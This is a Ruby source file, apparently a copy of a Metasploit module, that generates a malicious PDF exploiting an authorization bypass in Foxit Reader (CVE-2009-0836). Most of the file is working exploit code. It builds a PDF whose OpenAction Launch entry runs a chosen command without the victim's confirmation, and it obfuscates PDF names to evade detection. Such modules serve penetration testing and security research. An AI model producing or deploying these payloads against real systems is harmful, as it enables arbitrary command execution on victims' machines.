Files
metasploit-gs/modules/auxiliary/pdf/foxit/authbypass.rb
T

119 lines
3.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Foxit Reader Authorization Bypass',
'Description' => %q{
This module exploits an authorization bypass vulnerability in Foxit Reader
build 1120. When an attacker creates a specially crafted pdf file containing
an Open/Execute action, arbitrary commands can be executed without confirmation
from the victim.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
'References' => [
[ 'CVE', '2009-0836' ],
[ 'OSVDB', '55615'],
[ 'BID', '34035' ],
],
'DisclosureDate' => '2009-03-09',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
]
)
end
def run
exec = datastore['CMD']
# Create the pdf
pdf = make_pdf(exec)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
# https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def n_obfu(str)
result = ''
str.scan(/./u) do |c|
if (rand(2) == 0) && (c.upcase >= 'A') && (c.upcase <= 'Z')
result << '#%x' % c.unpack('C*')[0]
else
result << c
end
end
result
end
def random_non_ascii_string(count)
result = ''
count.times do
result << rand(128..255).chr
end
result
end
def io_def(id)
'%d 0 obj' % id
end
def io_ref(id)
'%d 0 R' % id
end
def make_pdf(exec)
xref = []
eol = "\x0d\x0a"
endobj = 'endobj' << eol
# Randomize PDF version?
pdf = "%%PDF-#{rand(1..2)}.#{rand(1..2)}" << eol
pdf << '%' << random_non_ascii_string(4) << eol
xref << pdf.length
pdf << io_def(1) << n_obfu('<</Type/Catalog/Outlines ') << io_ref(2) << n_obfu('/Pages ') << io_ref(3) << n_obfu('/OpenAction ') << io_ref(5) << '>>' << endobj
xref << pdf.length
pdf << io_def(2) << n_obfu('<</Type/Outlines/Count 0>>') << endobj
xref << pdf.length
pdf << io_def(3) << n_obfu('<</Type/Pages/Kids[') << io_ref(4) << n_obfu(']/Count 1>>') << endobj
xref << pdf.length
pdf << io_def(4) << n_obfu('<</Type/Page/Parent ') << io_ref(3) << n_obfu('/MediaBox[0 0 612 792]>>') << endobj
xref << pdf.length
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + '>>' << endobj
xref << pdf.length
pdf << endobj
xref_position = pdf.length
pdf << 'xref' << eol
pdf << '0 %d' % (xref.length + 1) << eol
pdf << '0000000000 65535 f' << eol
xref.each do |index|
pdf << '%010d 00000 n' % index << eol
end
pdf << 'trailer' << n_obfu('<</Size %d/Root ' % (xref.length + 1)) << io_ref(1) << '>>' << eol
pdf << 'startxref' << eol
pdf << xref_position.to_s << eol
pdf << '%%EOF' << eol
end
end